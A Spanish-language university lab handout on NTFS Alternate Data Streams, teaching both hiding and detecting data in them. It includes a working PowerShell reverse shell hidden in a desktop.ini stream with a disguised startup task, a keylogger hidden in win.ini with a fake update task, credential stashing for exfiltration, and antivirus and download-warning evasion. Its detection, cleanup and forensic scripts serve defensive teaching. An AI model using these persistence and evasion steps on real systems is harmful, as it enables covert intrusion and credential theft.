Lab 4.2: Alternate Data Streams - Ocultación de Archivos

Objetivos de Aprendizaje

Al finalizar este laboratorio, usted será capaz de:

• Comprender el concepto de Alternate Data Streams en NTFS
• Crear y manipular flujos de datos alternativos
• Ocultar archivos y código malicioso utilizando ADS
• Ejecutar código desde un flujo alternativo
• Detectar la presencia de ADS en un sistema
• Limpiar y eliminar ADS maliciosos

Duración Estimada

30 minutos

Prerrequisitos

• VM Windows con sistema de archivos NTFS
• Línea de comandos CMD y PowerShell
• Comprensión de sistemas de archivos (curso teórico)
• Lab 4.1 completado

Contexto Profesional

Los Alternate Data Streams (ADS) son una funcionalidad legítima de NTFS, pero ampliamente explotada por atacantes para:

• Ocultar malware
• Almacenar herramientas sin ser detectadas
• Evadir ciertos antivirus
• Mantener persistencia discreta
• Exfiltrar datos de manera sigilosa

Uso legítimo:

• Metadatos de archivos (zone identifier, autor, etc.)
• Atributos extendidos
• Miniaturas y vistas previas
• Información de descarga (Mark of the Web)

Uso malicioso:

• Ocultamiento de malware
• Almacenamiento de credenciales robadas
• Backdoors invisibles
• Exfiltración de datos

---

ADVERTENCIA ÉTICA Y LEGAL

Las técnicas de ocultación enseñadas en este laboratorio son utilizadas por atacantes para esconder malware y mantener acceso furtivo a los sistemas.

PERMITIDO:

• En su VM de pruebas
• Para pruebas de seguridad autorizadas
• Para investigación forense con permiso

PROHIBIDO:

• Ocultar malware en sistemas reales
• Usar para ocultar actividades maliciosas
• Exfiltración no autorizada de datos

CONSECUENCIAS: Uso malicioso = Delito informático grave (Código Penal art. 342.1, 430).

---

Parte 1: Comprender los Alternate Data Streams

Paso 1.1: Concepto Básico

Sistema de archivos NTFS:

Cada archivo NTFS en realidad tiene varios "flujos" (streams):

• Flujo principal: El contenido visible del archivo
• Flujos alternativos: Datos adicionales invisibles

Sintaxis:

fichier.txt                    → Flujo principal
fichier.txt:stream1.txt        → Flujo alternativo llamado "stream1.txt"
fichier.txt:hidden.exe         → Flujo alternativo llamado "hidden.exe"

Características:

• Invisibles en el Explorador de Windows
• Invisibles con dir estándar
• Sin límite de tamaño
• Pueden contener cualquier tipo de datos
• Pueden ser ejecutados

Paso 1.2: Verificar Su Sistema de Archivos

Verifique que está en NTFS:

fsutil fsinfo volumeinfo C:

Busque: File System Name : NTFS

Si está en FAT32 o exFAT: ADS NO funciona (solo NTFS)

Preguntas:

1. ¿Su disco C: está en NTFS?
2. ¿Había escuchado hablar de los ADS antes de este laboratorio?

---

Parte 2: Creación y Manipulación de ADS

Paso 2.1: Crear su Primer ADS

Cree un archivo normal:

echo Ceci est le contenu visible > normal.txt

Verifique el tamaño:

dir normal.txt

Debe mostrar aproximadamente 30 bytes.

Agregue un flujo alternativo:

echo Ceci est un message secret caché > normal.txt:hidden.txt

Verifique nuevamente el tamaño:

dir normal.txt

IMPORTANTE: ¡El tamaño NO ha cambiado! ¡Sigue siendo 30 bytes!

Abra el archivo con Notepad:

notepad normal.txt

Usted ve: "Ceci est le contenu visible"

¡El mensaje oculto es INVISIBLE!

Paso 2.2: Leer un ADS

Para leer el contenido del stream oculto:

more < normal.txt:hidden.txt

O

notepad normal.txt:hidden.txt

¡Notepad se abre con el contenido oculto!

PowerShell:

Get-Content normal.txt:hidden.txt

Preguntas: 3. ¿Puede ver el stream oculto con dir? 4. ¿Cuánto "pesa" el archivo con el stream oculto? (¡Mismo tamaño!)

Paso 2.3: Listar los ADS de un Archivo

Comando para ver TODOS los streams:

dir /R normal.txt

Debe mostrar:

30 normal.txt
33 normal.txt:hidden.txt:$DATA

PowerShell (más claro):

Get-Item normal.txt -Stream *

Resultado:

FileName: normal.txt

Stream                 Length
------                 ------
:$DATA                     30
hidden.txt                 33

¡El stream oculto es revelado!

Paso 2.4: Crear Múltiples ADS

Puede tener varios streams en un mismo archivo:

echo Secret 1 > normal.txt:data1.txt
echo Secret 2 > normal.txt:data2.txt
echo Secret 3 > normal.txt:data3.txt

Listar todos:

Get-Item normal.txt -Stream *

¡Un solo archivo, 4 flujos de datos (1 principal + 3 alternativos)!

Preguntas: 5. ¿Cuántos streams puede crear en un archivo? 6. ¿Hay un límite de tamaño para un ADS?

---

Parte 3: Ocultación de Archivos Ejecutables

Paso 3.1: Ocultar un Ejecutable Completo

Cree un script PowerShell malicioso:

Guarde malware.ps1:

Write-Host "Malware exécuté!" -ForegroundColor Red
whoami
hostname
Get-Process | Select-Object -First 10

Ocúltelo en un archivo de texto inocente:

type malware.ps1 > innocent.txt:malware.ps1

Verifique:

dir innocent.txt

Tamaño: Solo algunos bytes (¡el texto visible)!

¡Pero el script completo está oculto dentro!

Ejecute el script oculto:

powershell -ExecutionPolicy Bypass -File innocent.txt:malware.ps1

¡El script se ejecuta desde el stream oculto!

INCREÍBLE: El archivo parece inocente (texto), ¡pero contiene un script completo!

Paso 3.2: Ocultar un Binario .exe

Descargue netcat (nc.exe):

Desde: https://eternallybored.org/misc/netcat/

Ocúltelo en un archivo de imagen:

type nc.exe > photo.jpg:nc.exe

Verifique la foto:

dir photo.jpg

Tamaño normal de una foto (algunos KB).

Abra photo.jpg: ¡La imagen se muestra normalmente!

¡Pero netcat está oculto dentro!

Ejecute netcat desde el stream:

wmic process call create "C:\Users\VotreNom\Desktop\photo.jpg:nc.exe"

¡Netcat se ejecuta desde la foto!

Preguntas: 7. ¿Un antivirus escanea los ADS por defecto? 8. ¿Cómo podría un analista forense detectar esto?

Paso 3.3: Persistencia vía ADS

Técnica avanzada: Ocultar backdoor + ejecución automática

Paso 1 - Ocultar el payload:

# Script de reverse shell
$reverseShell = @"
`$client = New-Object System.Net.Sockets.TCPClient('192.168.100.10',4444);
`$stream = `$client.GetStream();
[byte[]]`$bytes = 0..65535|%{0};
while((`$i = `$stream.Read(`$bytes, 0, `$bytes.Length)) -ne 0){
    `$data = (New-Object -TypeName System.Text.ASCIIEncoding).GetString(`$bytes,0, `$i);
    `$sendback = (iex `$data 2>&1 | Out-String);
    `$sendback2 = `$sendback + 'PS ' + (pwd).Path + '> ';
    `$sendbyte = ([text.encoding]::ASCII).GetBytes(`$sendback2);
    `$stream.Write(`$sendbyte,0,`$sendbyte.Length);
    `$stream.Flush()
};
`$client.Close()
"@

# Ocultar en un archivo de sistema inocente
$reverseShell | Out-File -FilePath "C:\Windows\System32\config\systemprofile\desktop.ini:backdoor.ps1"

Paso 2 - Crear tarea programada que ejecuta desde ADS:

$action = New-ScheduledTaskAction -Execute "powershell.exe" `
    -Argument "-WindowStyle Hidden -ExecutionPolicy Bypass -File C:\Windows\System32\config\systemprofile\desktop.ini:backdoor.ps1"

$trigger = New-ScheduledTaskTrigger -AtStartup

Register-ScheduledTask -TaskName "SystemMaintenance" -Action $action -Trigger $trigger

Resultado:

• Backdoor completamente invisible
• No hay archivo .ps1 visible
• La tarea programada parece normal
• Se ejecuta en cada inicio
• ¡Muy difícil de detectar!

---

Parte 4: Exfiltración de Datos mediante ADS

Paso 4.1: Ocultar Datos Robados

Escenario: Usted ha robado credenciales y quiere exfiltrarlas discretamente.

Cree un archivo con datos sensibles:

echo admin:Password123! > credentials.txt
echo user1:SecretPass456 >> credentials.txt
echo database:DBPassword789 >> credentials.txt

Ocúltelo en un archivo de sistema inocente:

type credentials.txt > C:\Windows\System32\notepad.exe:stolen_data.txt

Elimine el original:

del credentials.txt

Verificación:

• credentials.txt ya no existe
• notepad.exe tiene el mismo tamaño que antes
• ¡Datos ocultos en notepad.exe!

Recuperación posterior:

more < C:\Windows\System32\notepad.exe:stolen_data.txt

¡Datos recuperados!

Paso 4.2: Exfiltración mediante Copia

Para exfiltrar:

Método 1 - Copia del archivo completo:

copy C:\Windows\System32\notepad.exe E:\notepad_backup.exe

En otra máquina, extraiga el stream:

more < notepad_backup.exe:stolen_data.txt

¡Los streams se PRESERVAN al copiar!

Método 2 - Extracción directa del stream:

more < notepad.exe:stolen_data.txt > data.txt

Preguntas: 9. ¿Los ADS se preservan al copiar? 10. ¿Qué sucede si copia a un sistema FAT32?

---

Parte 5: Detección de ADS

Paso 5.1: Métodos de Detección

Método 1 - DIR con opción /R:

dir /R C:\Users\%USERNAME%\Desktop

Muestra todos los streams de todos los archivos.

Método 2 - PowerShell (Recursivo):

Get-ChildItem -Path C:\Users\$env:USERNAME -Recurse -ErrorAction SilentlyContinue | 
  ForEach-Object {
    $streams = Get-Item $_.FullName -Stream * -ErrorAction SilentlyContinue | 
               Where-Object {$_.Stream -ne ':$DATA'}
    if ($streams) {
      [PSCustomObject]@{
        File = $_.FullName
        Stream = $streams.Stream -join ", "
        Size = $streams.Length
      }
    }
  } | Format-Table -AutoSize

Método 3 - Herramienta Streams (Sysinternals):

Descargar: https://learn.microsoft.com/en-us/sysinternals/downloads/streams

streams -s C:\Users\%USERNAME%

¡Muestra TODOS los archivos con ADS!

Paso 5.2: Script de Detección Automatizado

Cree detect_ads.ps1:

param(
    [string]$Path = "C:\",
    [switch]$SuspiciousOnly
)

Write-Host "=== DETECCIÓN ALTERNATE DATA STREAMS ===" -ForegroundColor Cyan
Write-Host "Escaneando: $Path"
Write-Host ""

$suspiciousExtensions = @('.exe', '.dll', '.ps1', '.vbs', '.bat', '.cmd', '.js')
$results = @()

Get-ChildItem -Path $Path -Recurse -File -ErrorAction SilentlyContinue | ForEach-Object {
    try {
        $file = $_
        $streams = Get-Item $file.FullName -Stream * -ErrorAction Stop | 
                   Where-Object {$_.Stream -ne ':$DATA'}
        
        foreach ($stream in $streams) {
            $isSuspicious = $false
            $reason = ""
            
            # Verificar si extensión sospechosa
            $streamExt = [System.IO.Path]::GetExtension($stream.Stream)
            if ($streamExt -in $suspiciousExtensions) {
                $isSuspicious = $true
                $reason = "Extensión ejecutable"
            }
            
            # Verificar si stream voluminoso
            if ($stream.Length -gt 10KB) {
                $isSuspicious = $true
                $reason += " Tamaño importante ($($stream.Length) bytes)"
            }
            
            # Si modo SuspiciousOnly, filtrar
            if (-not $SuspiciousOnly -or $isSuspicious) {
                $results += [PSCustomObject]@{
                    File = $file.FullName
                    Stream = $stream.Stream
                    Size = $stream.Length
                    Suspicious = $isSuspicious
                    Reason = $reason
                }
            }
        }
    } catch {}
}

if ($results.Count -gt 0) {
    Write-Host "ADS DETECTADOS:" -ForegroundColor Yellow
    $results | Format-Table -AutoSize
    
    Write-Host "`nTotal: $($results.Count) streams encontrados" -ForegroundColor Yellow
    $suspicious = ($results | Where-Object {$_.Suspicious}).Count
    if ($suspicious -gt 0) {
        Write-Host "ATENCIÓN: $suspicious streams sospechosos!" -ForegroundColor Red
    }
} else {
    Write-Host "Ningún ADS detectado." -ForegroundColor Green
}

Ejecución:

# Escanear todo
powershell -ExecutionPolicy Bypass -File detect_ads.ps1 -Path C:\Users\$env:USERNAME

# Solo los sospechosos
powershell -ExecutionPolicy Bypass -File detect_ads.ps1 -Path C:\ -SuspiciousOnly

Paso 5.3: Zone Identifier (Uso Legítimo)

Windows utiliza ADS para marcar archivos descargados:

Descargue un archivo desde Internet, luego:

Get-Item fichier_telecharge.exe -Stream *

Usted verá:

Stream: Zone.Identifier

Léalo:

more < fichier_telecharge.exe:Zone.Identifier

Contenido:

[ZoneTransfer]
ZoneId=3
ReferrerUrl=https://example.com/download
HostUrl=https://cdn.example.com/file.exe

ZoneId=3: Descargado desde Internet (no confiable)

¡Por eso Windows muestra la advertencia "Este archivo proviene de Internet"!

Preguntas: 11. ¿Qué archivos en su sistema tienen un stream Zone.Identifier? 12. ¿Cómo eliminar este stream? (para evadir la advertencia)

---

Parte 6: Técnicas Ofensivas Avanzadas

Paso 6.1: Ejecución de Código desde ADS

Cree un batch malicioso:

@echo off
whoami > C:\Users\Public\whoami.txt
ipconfig > C:\Users\Public\ipconfig.txt
net user > C:\Users\Public\users.txt

Ocúltelo:

type malware.bat > C:\Users\Public\readme.txt:payload.bat

Ejecute desde el stream:

Método 1 - WMIC:

wmic process call create "C:\Users\Public\readme.txt:payload.bat"

Método 2 - PowerShell:

Start-Process -FilePath "C:\Users\Public\readme.txt:payload.bat"

¡El código se ejecuta! Verifique:

type C:\Users\Public\whoami.txt

¡Aparece su nombre de usuario!

¡El malware era completamente invisible hasta la ejecución!

Paso 6.2: Ocultar un Keylogger Completo

Utilice el keylogger del Lab 3.3:

Ocúltelo en un archivo de sistema:

type keylogger.ps1 > C:\Windows\win.ini:logger.ps1

win.ini: Archivo legítimo de Windows, siempre presente, ¡nunca sospechoso!

Cree tarea programada para ejecutarlo:

$action = New-ScheduledTaskAction -Execute "powershell.exe" `
    -Argument "-WindowStyle Hidden -ExecutionPolicy Bypass -File C:\Windows\win.ini:logger.ps1"

$trigger = New-ScheduledTaskTrigger -AtLogon

Register-ScheduledTask -TaskName "WindowsUpdateCheck" -Action $action -Trigger $trigger

Resultado:

• Keylogger completamente invisible
• No hay archivo .ps1 visible
• Detección MUY difícil
• Funciona en cada inicio de sesión

Paso 6.3: Evasión de Antivirus con ADS

¡Algunos antivirus NO escanean los ADS por defecto!

Prueba con EICAR:

Cree archivo EICAR normal:

echo X5O!P%%@AP[4\PZX54(P^)7CC)7}$EICAR-STANDARD-ANTIVIRUS-TEST-FILE!$H+H* > eicar.com

Windows Defender debería INMEDIATAMENTE detectarlo y eliminarlo!

Ahora, ocúltelo en un ADS:

echo X5O!P%%@AP[4\PZX54(P^)7CC)7}$EICAR-STANDARD-ANTIVIRUS-TEST-FILE!$H+H* > innocent.txt:eicar.com

Resultado: ¡Algunos antivirus NO lo detectan!

NOTA: Windows Defender moderno detecta los ADS, pero no todos los antivirus.

Preguntas: 13. ¿Defender detectó EICAR en el stream? 14. ¿Por qué los ADS son más difíciles de escanear?

---

Parte 7: Limpieza y Eliminación de ADS

Paso 7.1: Eliminar un Stream Específico

PowerShell:

Remove-Item -Path "fichier.txt" -Stream "nom_du_stream"

Ejemplo:

Remove-Item -Path "normal.txt" -Stream "hidden.txt"

Verifique:

Get-Item normal.txt -Stream *

¡El stream "hidden.txt" debería haber desaparecido!

Paso 7.2: Eliminar TODOS los Streams de un Archivo

Método 1 - Copiar a FAT32:

copy fichier.txt E:\USB_FAT32\fichier.txt

FAT32 NO soporta ADS: ¡Todos eliminados!

Método 2 - Herramienta streams.exe:

streams -d fichier.txt

Opción -d: Elimina todos los streams

Método 3 - PowerShell recursivo:

Get-ChildItem -Path C:\Users\$env:USERNAME -Recurse -File | ForEach-Object {
    $streams = Get-Item $_.FullName -Stream * | Where-Object {$_.Stream -ne ':$DATA'}
    foreach ($stream in $streams) {
        Write-Host "Eliminando: $($_.FullName):$($stream.Stream)"
        Remove-Item -Path $_.FullName -Stream $stream.Stream
    }
}

ATENCIÓN: Esto elimina TODOS los ADS, incluso los legítimos (Zone.Identifier)!

Paso 7.3: Limpieza de Seguridad Completa

Script de limpieza automatizado:

Write-Host "=== LIMPIEZA DE ADS MALICIOSOS ===" -ForegroundColor Cyan

$cleaned = 0
$extensions = @('.exe', '.dll', '.ps1', '.vbs', '.bat', '.cmd')

Get-ChildItem -Path C:\ -Recurse -File -ErrorAction SilentlyContinue | ForEach-Object {
    try {
        $file = $_
        $streams = Get-Item $file.FullName -Stream * -ErrorAction Stop | 
                   Where-Object {$_.Stream -ne ':$DATA'}
        
        foreach ($stream in $streams) {
            $streamExt = [System.IO.Path]::GetExtension($stream.Stream)
            
            # Eliminar si extensión ejecutable
            if ($streamExt -in $extensions) {
                Write-Host "ELIMINANDO: $($file.FullName):$($stream.Stream)" -ForegroundColor Red
                Remove-Item -Path $file.FullName -Stream $stream.Stream -ErrorAction Stop
                $cleaned++
            }
        }
    } catch {}
}

Write-Host "`nTotal: $cleaned streams maliciosos eliminados" -ForegroundColor Green

Preguntas: 15. ¿Cuántos archivos con ADS encontró en su sistema? 16. ¿Cómo diferenciar ADS legítimos vs maliciosos?

---

Parte 8: Forense e Investigación

Paso 8.1: Analizar un Sistema Comprometido

Escenario: Usted sospecha que un atacante ha utilizado ADS.

Investigación completa:

Write-Host "=== INVESTIGACIÓN FORENSE ADS ===" -ForegroundColor Cyan

# Buscar en carpetas de sistema
$systemFolders = @(
    "C:\Windows\System32",
    "C:\Windows\Temp",
    "C:\Users\*\AppData\Local\Temp"
)

foreach ($folder in $systemFolders) {
    Write-Host "`nEscaneando: $folder" -ForegroundColor Yellow
    
    Get-ChildItem -Path $folder -Recurse -File -ErrorAction SilentlyContinue | ForEach-Object {
        $streams = Get-Item $_.FullName -Stream * -ErrorAction SilentlyContinue | 
                   Where-Object {$_.Stream -ne ':$DATA'}
        
        if ($streams) {
            Write-Host "  Archivo: $($_.FullName)"
            foreach ($stream in $streams) {
                Write-Host "    Stream: $($stream.Stream) ($($stream.Length) bytes)"
                
                # Leer los primeros bytes para análisis
                $content = Get-Content $_.FullName:$($stream.Stream) -TotalCount 5 -ErrorAction SilentlyContinue
                if ($content) {
                    Write-Host "    Vista previa: $($content -join ' ')"
                }
            }
        }
    }
}

Paso 8.2: Timeline Analysis

Crear línea de tiempo de los ADS:

Get-ChildItem C:\ -Recurse -File -ErrorAction SilentlyContinue | ForEach-Object {
    Get-Item $_.FullName -Stream * -ErrorAction SilentlyContinue | 
    Where-Object {$_.Stream -ne ':$DATA'} | 
    Select-Object @{N='File';E={$_.FileName}}, 
                  Stream, 
                  @{N='Size';E={$_.Length}},
                  @{N='Created';E={(Get-Item $_.FileName).CreationTime}},
                  @{N='Modified';E={(Get-Item $_.FileName).LastWriteTime}}
} | Sort-Object Modified -Descending | Format-Table -AutoSize

Permite ver:

• Cuándo se modificaron los archivos
• Correlación con eventos sospechosos
• Línea de tiempo del ataque

Paso 8.3: Extracción para Análisis

Extraer todos los ADS en una carpeta para análisis:

$outputDir = "C:\Forensics\ADS_Extract"
New-Item -ItemType Directory -Force -Path $outputDir

Get-ChildItem C:\Suspect\Path -Recurse -File | ForEach-Object {
    $streams = Get-Item $_.FullName -Stream * | Where-Object {$_.Stream -ne ':$DATA'}
    foreach ($stream in $streams) {
        $outputFile = Join-Path $outputDir "$($_.Name)_$($stream.Stream)"
        Get-Content $_.FullName:$($stream.Stream) -Raw | Out-File $outputFile
        Write-Host "Extraído: $outputFile"
    }
}

Luego: Análisis con antivirus, descompilación, análisis estático

Preguntas: 17. ¿Qué herramientas usaría para analizar un ADS sospechoso? 18. ¿Cómo reconstruir la línea de tiempo de un ataque usando ADS?

---

Entregables

A entregar:

1. Informe técnico (Word/PDF, 3-4 páginas):

   • Respuestas a las 18 preguntas
   • Explicación del concepto de ADS
   • Demostración de 3 técnicas de ocultación
   • Resultados del script de detección

2. Capturas de pantalla (mínimo 6):

   • Creación de ADS con archivo oculto
   • dir vs dir /R (diferencia visible)
   • Ejecución de código desde ADS
   • Detección con PowerShell
   • Lista de streams (Get-Item -Stream *)
   • Eliminación de ADS

3. Scripts desarrollados:

   • Script de detección mejorado
   • Script de limpieza automatizado
   • Script de extracción forense

4. Análisis de caso (1-2 páginas):

   • Escenario de ataque usando ADS
   • Metodología de detección
   • Plan de remediación

---

Criterios de Evaluación

Criterio	Puntos
Comprensión del concepto de ADS	20%
Creación y manipulación de ADS	25%
Detección de ADS existentes	20%
Script de detección funcional	20%
Análisis forense y remediación	15%

---

Comandos de Referencia Rápida

Creación

echo contenido > fichier.txt:stream.txt
type source.exe > fichier.txt:hidden.exe

Lectura

more < fichier.txt:stream.txt
notepad fichier.txt:stream.txt
type fichier.txt:stream.txt

Detección

dir /R
streams -s C:\

Get-Item fichier.txt -Stream *
Get-ChildItem -Recurse | Get-Item -Stream * | Where Stream -ne ':$DATA'

Ejecución

wmic process call create "fichier.txt:payload.bat"
start fichier.txt:payload.exe
powershell -File fichier.txt:script.ps1

Eliminación

Remove-Item fichier.txt -Stream stream_name

streams -d fichier.txt

---

Solución de Problemas

Problema: "Acceso denegado" al crear ADS

Solución: Verifique que tiene permisos de escritura sobre el archivo principal. Si no puede modificar el archivo, no puede agregar un stream.

Problema: ADS no funciona

Solución: Verifique que está en NTFS. FAT32/exFAT no soportan ADS.

Problema: El stream copiado a USB desaparece

Solución: Su USB probablemente está en FAT32. Los ADS se pierden al copiar a sistemas de archivos que no sean NTFS.

---

Ir Más Allá (Opcional)

Reto 1: Forense de ADS

Analice un archivo sospechoso con ADS:

• Extraer todos los streams
• Analizar el contenido (strings, volcado hexadecimal)
• Identificar el propósito malicioso
• Documentar los indicadores de compromiso (IOCs)

Reto 2: Protección Proactiva

Desarrolle un servicio de monitoreo que:

• Monitoree la creación de nuevos ADS
• Alerta sobre extensiones ejecutables
• Registre todas las operaciones ADS
• Bloquee automáticamente los ADS sospechosos

Reto 3: Investigación

Estudie malware real que utilice ADS:

• Trojan.Sriknot (2007)
• Técnicas de exfiltración de datos mediante streaming
• Grupos APT usando ADS para persistencia

---

Recursos Adicionales

• Microsoft: File Streams
• Sysinternals Streams Tool
• NTFS Alternate Data Streams
• Detecting ADS

---

Conclusión

Este laboratorio le ha enseñado:

• El concepto y funcionamiento de los Alternate Data Streams
• Técnicas de ocultación de archivos y código malicioso
• Ejecución de código desde streams ocultos
• Métodos de detección forense
• Limpieza y remediación

Lecciones clave:

1. Los ADS permiten ocultar archivos completos dentro de otros archivos
2. Los archivos ocultos en ADS son invisibles con herramientas estándar
3. El código puede ejecutarse directamente desde un ADS
4. La detección requiere herramientas especializadas o comandos específicos
5. Los ADS son una técnica de persistencia y ocultación muy eficaz

En un contexto real:

• Utilizado por malware sofisticado para evadir detección
• Técnica de persistencia discreta
• Exfiltración de datos sigilosa
• Requiere forense avanzado para detectar

Próximo paso: ¡Lab 4.3 donde aprenderá a recuperar archivos "eliminados permanentemente" utilizando las Shadow Copies de Windows!

---

Laboratorio desarrollado en el marco del curso Sistemas Operativos - MÓDULO 4